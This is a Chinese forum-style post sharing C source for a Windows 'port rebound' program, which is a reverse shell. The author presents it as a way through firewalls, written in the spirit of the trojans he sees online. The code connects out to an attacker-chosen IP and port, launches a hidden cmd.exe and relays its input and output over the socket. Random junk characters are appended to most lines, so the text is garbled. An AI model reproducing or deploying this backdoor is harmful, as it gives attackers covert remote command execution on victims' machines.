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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 INi9`M.h  
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/* ============================== -VqZw&"  
Rebound port in Windows NT 3C,G~)= x  
By wind,2006/7 TY(B]Q_o  
===============================*/ wx a?.  
#include WF)(Q~op0U  
#include cBZK t  
KW* 2'C&  
#pragma comment(lib,"wsock32.lib") S'Hb5C2u  
9Q~9C9{+  
void OutputShell(); B-oQ 9[~  
SOCKET sClient; 'pCZx9 *c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +VJS/  
TzaR{0 1  
void main(int argc,char **argv) V`/ E$a1&  
{ w\"~ *(M  
WSADATA stWsaData; k<.$7Pl3U  
int nRet; 9g7d:zG  
SOCKADDR_IN stSaiClient,stSaiServer; /6=IL  
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if(argc != 3) |WiE`&?xP  
{ 4LEWOWF}  
printf("Useage:\n\rRebound DestIP DestPort\n"); eb6Ux  
return;  n[vwwY  
} <>n-+Kr  
I~^t\iujs  
WSAStartup(MAKEWORD(2,2),&stWsaData); 3 291"0  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6:fHPlqW  
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stSaiClient.sin_family = AF_INET; ^tMb"WO  
stSaiClient.sin_port = htons(0); \dm5Em/  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); prHM}n{0  
s+tPHftp  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Wq5 }SM  
{ k? <.yr1  
printf("Bind Socket Failed!\n"); !lVOZ %  
return; 'YKzs;y$  
} ?/M:  
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stSaiServer.sin_family = AF_INET; 86*9GS?U(  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); PBeBI:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Su]@~^w  
sf([8YUd  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #r=Jc8J_  
{ i\zVP.c])*  
printf("Connect Error!"); x0KW\<k  
return; </hv{<  
} IP LKOT~  
OutputShell(); syJLcK+e  
} ?*)Q[P5  
e(=() :4is  
void OutputShell() D6$*#D3U  
{ x%v[(*F#y  
char szBuff[1024]; e3 #0r  
SECURITY_ATTRIBUTES stSecurityAttributes; %ER"Udh  
OSVERSIONINFO stOsversionInfo; a2!U9->!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; z4qc)- {L  
STARTUPINFO stStartupInfo; URd0|?t9^L  
char *szShell; L@5j? N?F  
PROCESS_INFORMATION stProcessInformation; <2n5|.:>  
unsigned long lBytesRead; H zMr  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); u ?-|sv*  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5%_aN_1?ef  
stSecurityAttributes.lpSecurityDescriptor = 0; vg-Ah6BC{  
stSecurityAttributes.bInheritHandle = TRUE; h-f`as"d  
`f[  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); i V$TvD+  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `j1b5&N;7  
 0"F|)  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); nO+-o;DbC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6MD9DqD  
stStartupInfo.wShowWindow = SW_HIDE; Ao U Pq  
stStartupInfo.hStdInput = hReadPipe; 2il`'X  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o"V+W  
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GetVersionEx(&stOsversionInfo); V0<g$,W=  
3;O4o]`  
switch(stOsversionInfo.dwPlatformId) ;e"dxAUe!^  
{ Tc.QzD\  
case 1: 8345 H  
szShell = "command.com"; T4nWK!}z  
break; _UA|0a!-  
default: 4 Aj<k  
szShell = "cmd.exe"; i91 =h   
break; -d.i4X3j  
} O**~ Tj  
+8|9&v`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Ox5Es  
*N |ak =  
send(sClient,szMsg,77,0); TE5J @I  
while(1) tb^/jzC  
{ j"s7P%  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); j8G$,~v  
if(lBytesRead) l$&dTI<#  
{ Y3 \EX  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); s&4&\Aq}x#  
send(sClient,szBuff,lBytesRead,0); FVxORQI  
} -q]5@s/  
else 2lCgUe)N  
{ b/w5K2  
lBytesRead=recv(sClient,szBuff,1024,0); G=F_{z\}  
if(lBytesRead<=0) break; SajG67  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +lXIv  
} TVM19)9  
} .0rTk$B  
S,s#D9NU  
return; M2$Hb_S{  
}
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